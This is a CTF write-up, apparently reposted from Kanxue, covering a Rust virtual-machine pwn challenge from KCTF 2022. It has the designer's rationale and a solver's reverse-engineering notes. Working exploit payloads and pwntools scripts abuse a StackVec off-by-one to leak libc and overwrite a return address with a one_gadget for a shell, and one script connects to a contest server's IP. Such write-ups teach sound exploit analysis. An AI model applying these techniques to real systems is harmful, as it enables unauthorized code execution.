看雪2022 KCTF 春季赛 | 第十题设计思路及解析

WriteUp 2年前 (2022) admin
600 0 0
看雪 2022 KCTF春季赛 于5月10日中午12点正式开赛!

第十题《陷入轮回》已于今日中午12点截止答题。经统计,3支战队成功提交flag。

他们分别是【辣鸡战队】、【hzqmwne战队】、【雨落星辰战队】

看雪2022 KCTF 春季赛 | 第十题设计思路及解析

接下来和我一起来看看该赛题的设计思路和相关解析吧!



出题团队简介


第十题《同归于尽》出题方 【星盟安全团队】


看雪2022 KCTF 春季赛 | 第十题设计思路及解析



赛题设计思路


题目是由 rust 编写的虚拟机类pwn题的变种,出于“play for fun”的想法,没有在漏洞之外的其他地方给题目增加额外的难度,所以各位师傅拿到的都是没有删符号表的debug版二进制文件,希望师傅们玩的开心。


出题思路

主要思路来自于 CVE-2021-2993,由于 Size_hint 的错误实现所致。在文档中可以找对对应表述:

size_hint() is primarily intended to be used for optimizations such as reserving space for the elements of the iterator, but must not be trusted to e.g., omit bounds checks in unsafe code. An incorrect implementation of size_hint() should not lead to memory safety violations. 

官方文档中指出了不能过于信任 size_hint 函数,因为它返回迭代器上下界,但可以由用户自行定义其行为,对于实现不规范的情况,该函数有可能会导致错误。在本题中,该函数导致了越界读写,最终能够修改返回地址使得其返回到One_gadget,最终拿到shell。


出题人经过测试之后发现,只有在 Ubuntu16 上能够直接利用One_gadget直接拿到shell,考虑到考点只有这个,所以也没有在这方面另外增加难度,最终的EXP只要把U16的OG都试一遍就能拿到了(因此也被师傅们打爆了,只能说自己还是太菜了,拿不出非常精巧的利用)。

 

由于 rust 向来以安全性著称,因此发生在rust中的漏洞感觉会比C语言更好玩一些,因此将该漏洞换了一种方式展现在题目里了。

由rust编写的虚拟机pwn的变种,程序没有删符号表,希望能玩的开心。
## 题目思路
主要思路来自于CVE-2021-29939,一个发现在rust代码中的高危漏洞。由于 Size_hint 的错误实现所致。在文档中可以找对对应表述:
> `size_hint()` is primarily intended to be used for optimizations such as reserving space for the elements of the iterator, but must not be trusted to e.g., omit bounds checks in unsafe code. An incorrect implementation of `size_hint()` should not lead to memory safety violations.
由于 rust 向来以安全性著称,因此发生在rust中的漏洞就显得更加特殊一些,因此将该漏洞换了一种方式展现在题目里了。
## 解题步骤
通过逆向能够发现,程序会读取若干指令然后模拟执行,所以首先应该把握整个程序的大致意图。
然后是因为 rust 编写的缘故,运行时保护也比较多,对于各种非法操作都会很容易的导致panic,所以需要对整个程序的流程把握的比较明确。
然后发现程序使用StackVec来模拟虚拟机中的栈,逆向可知它们也都是建立在栈上而不是堆上的,且还通过length来指示栈当前内容的长度。
```cvmvec::lib::StackVec<[u64_ 64]> *__cdecl vmvec::lib::StackVec$LT$A$GT$::new::h550b99ccd348adea(vmvec::lib::StackVec<[u64_ 64]> *retstr){ char v2[512]; // [rsp+28h] [rbp-600h] BYREF char src[512]; // [rsp+228h] [rbp-400h] BYREF char dest[512]; // [rsp+428h] [rbp-200h] BYREF
memcpy(dest, src, sizeof(dest)); memcpy(v2, dest, sizeof(v2)); retstr->length = 0LL; memcpy(&retstr->data, v2, sizeof(retstr->data)); return retstr;}


继续逆向,发现有一个特别的操作“ext_stack”,其中有一段特别的检查:

if ( v15 + v14 > vmvec::lib::StackVec$LT$A$GT$::capacity::he837472c501b6732(self) )


结合上面expect中的字符串:

v3.data_ptr = "iterable must provide upper bound.assertion failed: self.len() + upper_bound <= self.capacity()assertion failed: step != 0


以及查阅rust文档中提到的 size_hint 函数可知,该函数返回一个对象的上下界元组,而上面的 if 要求对象的上界加上当前栈的长度小于栈的capacity。

core::ptr::write::h5bcec47e57c65cec(dst, src);


同时,也注意到文档中描述 size_hint表示,其并不能过于信任,因此着重关系该函数的实现。

 

继续逆向,发现该函数的输入对象是string_vec,往上寻找可能的操作,观察对应函数可知,string_vec大致实现了一个大致实现了一个简化后的deque,因此有可能发生回绕。

 

最后通过精心构造deque的结果实现溢出写栈的length,就会让len函数返回意外的值而不发生panic,于是再往栈里写数据就能够实现任意地址写了。最终写返回地址为one_gadget即可。

 

exp:

from pwn import *context.log_level='debug'def vec_int(index):    str1="vec int >> "    str2=""    for i in range(index):        str2+=str(i)        str2+=","    str3=str1+"["+str2[:-1]+"]"    print(str3)
def vec_str_name(name,index): str1="vec "+name+" str >> " str2="" for i in range(index): if i==23: str2+=p64(0x5555555dad60) else: str2+=str(i) str2=str2+"," str3=str1+"["+str2[:-1]+"]" print(str3)
def pop_back_n_name(name,n): str1="adj "+name+" str"+" >> pop_back" str2="" for i in range(n): str2+=str1+"n" str2=str2[:-1] print(str2)
def pop_front_n_name(name,n): str1="adj "+name+" str"+" >> pop_front" str2="" for i in range(n): str2+=str1+"n" str2=str2[:-1] print(str2)
def stack_ext(name): str1="adj "+name+" str >> stack_ext" print(str1)
def switch_stack(): print("switch_stack")
def cal(op,obj): str1="cal "+op+" "+obj print(str1)

exp="""vec int >> [0,0,0]cal add stack_to_regvec int >> [0,0,0,8,9,10,11,12,13,14,15,16,17,18,19,20]vec int >> [1,2,3,4,5,6,7,8,0,10252512,10]cal add stack_to_regvec int >> [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20]vec int >> [1,2,3,4,5,6,7,8,9,10,11,12,13]vec vul int >> [1,2,3,4,5,6]adj vul int >> pop_frontadj vul int >> push_back 113adj vul int >> pop_frontadj vul int >> push_back 576adj vul int >> pop_frontadj vul int >> pop_frontadj vul int >> pop_frontadj vul int >> stack_extswitch_stackprintcal add stack_to_regcal sub regswitch_stackcal stack_move 64switch_stackcal add reg_to_stack#"""
p=process("./attachments")p.sendline(exp)p.interactive()




赛题解析


本赛题解析由看雪论坛专家 mb_mgodlfyn 给出:

看雪2022 KCTF 春季赛 | 第十题设计思路及解析

 

此题漏洞利用很简单,难点在找到漏洞以及搞清楚合法输入的格式。不恰当的说,也许算披着pwn外衣的reverse题?

 

另外感谢出题人放弃了精致分保留符合和调试信息,毕竟Rust逆向的恶心程度不是一般的高。

逆向输入格式

程序运行起来后随便输入些东西,基本一直处于循环状态不会报错,因此第一步需要逆清楚合法的输入格式是怎样的。

 

vmvec::main::h1f88fe21e640590d 的输入循环的部分代码如下:


alloc::string::String::new::h1069c1a7de8a2dc9(&buf);std::io::BufRead::read_line::hfe23df61b51ffee1(&v25, &v17, &buf);v3.length = (usize)"read row and col error!src/main.rs$#Something went wrongn";v3.data_ptr = (u8 *)&v25;core::result::Result$LT$T$C$E$GT$::expect::h2fd8ef81211a9afd(v14, v3);v4 = _$LT$alloc..string..String$u20$as$u20$core..ops..deref..Deref$GT$::deref::hc6a77192103af283(       (_str *)&buf,       (alloc::string::String *)"read row and col error!src/main.rs$#Something went wrongn");v26.data_ptr = (u8 *)core::str::_$LT$impl$u20$str$GT$::trim::hb020d7db36258e87(v4, (_str)__PAIR128__(v5, v5));v26.length = v6;if ( core::cmp::impls::_$LT$impl$u20$core..cmp..PartialEq$LT$$RF$B$GT$$u20$for$u20$$RF$A$GT$::ne::hc896b82329ee01be(       &v26,                                // <input str>       (_str *)&stru_841B0.data.value[19]) )// "$"{


函数名和调试信息对分析的帮助非常大。IDA 的 Structures 标签(Shift+F9) 和 Local Types 标签(Shift+F11)列出了所有的结构体类型。

 

可以看出,Rust 的 string 的基本结构是 8 字节的 data_ptr + 8 字节的 length,不需要 ‘’ 作为结尾。

 

下面的 if 判断条件调用了 …cmp…ne.. 函数,两个参数类型都是 string *。第二个参数是常量,结合 string 的结构可知是 “$”。动态调试也可确这一点。

看雪2022 KCTF 春季赛 | 第十题设计思路及解析

经过对main函数的逆向,得知输入内容将会保存在一个string的二维数组 vec<vec<string> > 中,分为了若干个块,每个块包含若干个行。
# 和 $ 是两个特殊的输入行,遇到 $ 会结束当前块并开启下一个块,遇到 # 会结束当前块并跳出循环。

 

然后前面的二维数组会作为第一个参数传入 vmvec::start_vec::h1393dc29498ce194

 

这个函数有大量对 core::str::traits::_$LT$impl$u20$core..cmp..PartialEq$u20$for$u20$str$GT$::eq::hbc53f1d0564063a8 (…cmp…eq…)的调用。静态分析结合动态调试,发现这些位置检查的是输入行按空格切分后的第一个单词。提取出这些待比较的常量:

//vecadjprintcalcmdjmpjeswitch_stackhalt


可以看出这是一个自定义的虚拟机,程序要求的输入是虚拟机的指令,合法指令只有上面几种。

 

继续逆向每个指令的处理函数,结合之前一些变量的初始化,对虚拟机的结构和指令的格式和作用有了大概的印象:

 

虚拟机结构:

  • 两个栈,分别是 vmvec::lib::StackVec<[u64_ 32]> 和 vmvec::lib::StackVec<[u64_ 64]>,即容量为32的 u64 数组和容量为 64 的 u64 数组。switch_stack 指令可以切换当前使用的栈

  • 一个整数组 vec<u64>

  • 一个字符串组 vec<string>

  • 一组hash表,分别映射了字符串名称与其他部分,如栈、字符串组、整数组等

部分指令的结构:

  • vec int >>,0,1,2,3,

    • 把后面的数字依次放入当前的栈里

    • 注意数字的最前和最后都有逗号,否则会丢失字符

  • vec xxx int >>,0,1,2,3,

    • xxx 是任意字符串,会创建一个新的数组然后以xxx为key存入hashmap

  • vec str … 与 vec xxx str … :与上面类似

  • adj

    • 各种调整命令,可以修改栈、各种数值、hashmap,非常复杂

    • adj clear_stack ???:清除栈,最简单的指令。???是任意字符串,只要不等于”int”和”str”似乎具体值就没有意义

    • adj stack_move i:把StackVec顶部的元素插入到第i个位置

  • print

    • 打印当前栈顶的值

  • print xxx int 和 print xxx str

    • 从hashmap中取出某个数组,打印全部内容

  • cal:计算指令,结构相对简单

    • 顾名思义,stack是从栈里取两个数,然后计算结果也保存在栈上;stack_to_reg是从栈里取两个数,计算结果保存在一个代表寄存器的全局整数组里

    • 第一个参数是运算类型:add, sub, mul, div

    • 第二个参数是数据源与数据目标地址:stack, reg, stack_to_reg, reg_to_stack

(会有部分assert检查输出panic信息,例如指令的参数不完整,或者栈为空时print等情况,可以辅助理解)

 

试图搞清楚这些指令的格式以及功能花费了不少时间,然而还是未能完全搞懂(例如全局的几个hashmap与计算指令之间的交互等)

发现漏洞所在

尝试换个角度思考:众所周知,Rust是一门内存安全的语言,能产生漏洞被pwn掉只有两种可能:编译器有bug;用了unsafe。

 

如果真是前者,那题目就过于硬核了。从程序中的字符串看到编译器版本是1.51.0,不算很低(虽然也不新)
搜索 Rust PWN 能找到两道 CTF 题的 Writeup:Hack.lu CTF 2021 Writeup by r3kapig 和 [原创]虎符网络安全赛道 2022-pwn-vdq-WP ,都是利用了 CVE-2020-36318,1.48 版本 VecDeque 的 make_contiguous 漏洞,显然本题的编译器版本更高不存在此问题。

 

那么大概率就是本题有 unsafe 代码。注意到程序里有几处直接调用了 memcpy 有些可疑,通常高级别的 Rust 代码不会直接调用这么低级别的函数。

 

而且,vmvec::start_vec::h1393dc29498ce194 里调用 memcpy 前后的代码看起来总有些怪怪的感觉。这部分代码处理的是 StackVec 结构,于是在左侧函数列表找 vmvec::lib::StackVec 开头的函数名逐一查看。

 

在 vmvec::lib::StackVec$LT$A$GT$::push::h91793a492ee0ad43 发现了漏洞所在(vmvec::lib::StackVec$LT$A$GT$::push::h6dc540cb15a3a7ea 同理):


v5 = vmvec::lib::StackVec$LT$A$GT$::len::h34d63a184be2bedd(self);if ( v5 > vmvec::lib::StackVec$LT$A$GT$::capacity::he837472c501b6732(self) )  core::panicking::panic::h07405d6be4bce887();


这个函数的作用是向 StackVec 中添加一个元素,先检查当前的 len 是否大于 capacity,而当 len 等于 capacity 时能通过检查,但是后面的写入就会越界一个位置。正确的检查应该是看 len 是否大于等于 capacity。

 

回头看 vmvec::start_vec::h1393dc29498ce194 里调用 memcpy 前后的代码,这里把两个 StackVec 通过 memcpy 连在一起放到了栈上。

 

从 IDA Structure 标签中看 StackVec 结构的定义:

00000000 vmvec::lib::StackVec<[u64_ 32]> struc ; (sizeof=0x108, align=0x8, copyof_188)00000000                                         ; XREF: .data.rel.ro:stru_841B0/r00000000                                         ; vmvec::Vars/r ...00000000 length          dq ?00000008 data            core::mem::manually_drop::ManuallyDrop<[u64_ 32]> ?00000008                                         ; XREF: vmvec::jump::je::hb89aefc0d9276b18:loc_FE02/o00000008                                         ; _$LT$core..option..Option$LT$T$GT$$u20$as$u20$core..fmt..Debug$GT$::fmt::h69f4e878c701aa9f:loc_302F5/o ...00000108 vmvec::lib::StackVec<[u64_ 32]> ends

因此,前面的 StackVec 溢出一个元素正好能修改掉后面的 StackVec 的 length,从而让它的覆盖范围变大,这样通过后面的 StackVec 即可溢出访问到程序栈后面的全部内容。

完成漏洞利用

前面的 StackVec 容量为 64,可以利用 vec int >> 命令插入 65个元素,然后 switch_stack 切换栈,再 print 输出栈顶元素。POC如下:

vec int >>,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,1000,switch_stackprint#

成功输出了1000位置上的元素,因此这种利用方式有效。

 

可以修改栈的情况下,劫持控制流的常用方式是修改栈上的返回地址。为了启动shell还需要借助libc的函数,因此要知道libc的地址。

看雪2022 KCTF 春季赛 | 第十题设计思路及解析


本地调试,在 vmvec::start_vec::h1393dc29498ce194 里调用 memcpy 的前后下断点,找出第二个 StackVec 的起始地址和栈上 __libc_start_main_ret 的地址,计算出二者之间的距离是 645 个 u64 。

 

修改下POC即可打印出__libc_start_main_ret的值:

vec int >>,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,646,switch_stackprint#

(又是一道不给libc的题目)

程序中有 "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0" 字符串,但是本地 Ubuntu 20.04 上 libc-2.31 的 __libc_start_main_ret 的后三位却不一样。上 libc database 搜索发现是 libc6_2.23-0ubuntu11.2_amd64 和 libc6_2.23-0ubuntu11.3_amd64 (疑惑,部署环境与编译环境不一样??)。

 

写个小程序把远程环境的栈 dump 出来:(adj 可能有直接调整 StackVec的功能,但是不想再逆向了,所以暴力一些直接不断 adj clear_stack 清除 StackVec再重新溢出)

from pwn import * t = '''vec int >>,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,57,51,52,53,54,55,56,57,58,59,60,61,62,63,{},switch_stackprintswitch_stackadj clear_stack ???''' s = remote("221.228.109.254", 10038)s.recvuntil(b"Now,tell me your answer.nn") r = ""for i in range(640, 670):    r += t.format(i) r += "#n" print(r)s.send(r) while True:    line = s.recvline(timeout=3)    if not line.startswith(b"clear stack"):        print(hex(int(line))) s.interactive()


得到的是 StackVec 第 639-669 项:

0x10x7ffd93e7d9c80x563965d4a54a0x7ffd93e7d9c00x1000000000000000x7ffd93e7d9c80x7fdbe3d18840    -> libc_start_main_ret,libc6_2.23-0ubuntu11.2_amd64 or libc6_2.23-0ubuntu11.3_amd640x7ffd93e7d910  -> rsp (when main return)0x7ffd93e7d9c80x193e7d9140x563965d4a520  -> main0x00x2df777e3b8b5a7600x563965d1e080  -> _start ; rsp+0x300x7ffd93e7d9c00x00x00x7e7e9b83c115a760  -> rsp+0x500x7e327bef7f05a7600x00x00x0  -> rsp+0x700x7ffd93e7d9d80x7fdbe49201680x7fdbe470980b0x00x00x563965d1e0800x7ffd93e7d9c00x0


远程环境是 libc-2.23 是一个利好消息,因为 libc-2.23 的 one_gadget 非常好用(libc-2.31 的 one_gadget 条件很苛刻),从栈的布局来看 main 函数 ret 后 [rsp+0x70] == 0 满足条件

 

从 libc6_2.23-0ubuntu11.3_amd64.so 提取出 __libc_start_main_ret 位于偏移 0x20840,[rsp+0x70] == NULL 的 one_gadget 位于偏移 0xf1247。
0xf1247-0x20840 = 854535,所以只要把libc_start_main_ret加上854535 就成为了one gadget,return 后即可直接 getshell。

 

最终的exp如下:
(adj也许有立即数直接push_back到StackVec或调整StackVec大小的方法,但是不想逆向了,借助 cal add stack_to_reg 和 cal add reg_to_stack 中转两次也可以达到目的;cal add stack 是 StackVec[len-1] = StackVec[len-2] + StackVec[len-3],但完成加法后 len 会加1,所以再一次调整StackVec的长度)


vec int >>,854535,0,0,cal add stack_to_regadj clear_stack ???vec int >>,0,0,0,cal add stack_to_regadj clear_stack ???vec int >>,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,647,switch_stackcal add reg_to_stackcal stack_move 646cal add stackswitch_stackadj clear_stack ???vec int >>,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,648,switch_stackcal stack_move 645#

 

看雪2022 KCTF 春季赛 | 第十题设计思路及解析

看雪2022 KCTF 春季赛 | 第十题设计思路及解析

第11题《虫洞末世》正在进行中

?还在等什么,快来参赛吧!


如何成为一名出色的CTF选手?
看雪2022 KCTF 春季赛 | 第十题设计思路及解析
看雪2022 KCTF 春季赛 | 第十题设计思路及解析
*点击图片查看详情

入门-基础-进阶-强化,只需四个阶段!摇身一变成为主力、中坚力量

看雪2022 KCTF 春季赛 | 第十题设计思路及解析



看雪2022 KCTF 春季赛 | 第十题设计思路及解析
– End –

看雪2022 KCTF 春季赛 | 第十题设计思路及解析


看雪2022 KCTF 春季赛 | 第十题设计思路及解析

球分享

看雪2022 KCTF 春季赛 | 第十题设计思路及解析

球点赞

看雪2022 KCTF 春季赛 | 第十题设计思路及解析

球在看



看雪2022 KCTF 春季赛 | 第十题设计思路及解析
“阅读原文展开第11题的战斗!

原文始发于微信公众号(看雪学苑):看雪2022 KCTF 春季赛 | 第十题设计思路及解析

版权声明:admin 发表于 2022年6月3日 下午6:00。
转载请注明:看雪2022 KCTF 春季赛 | 第十题设计思路及解析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...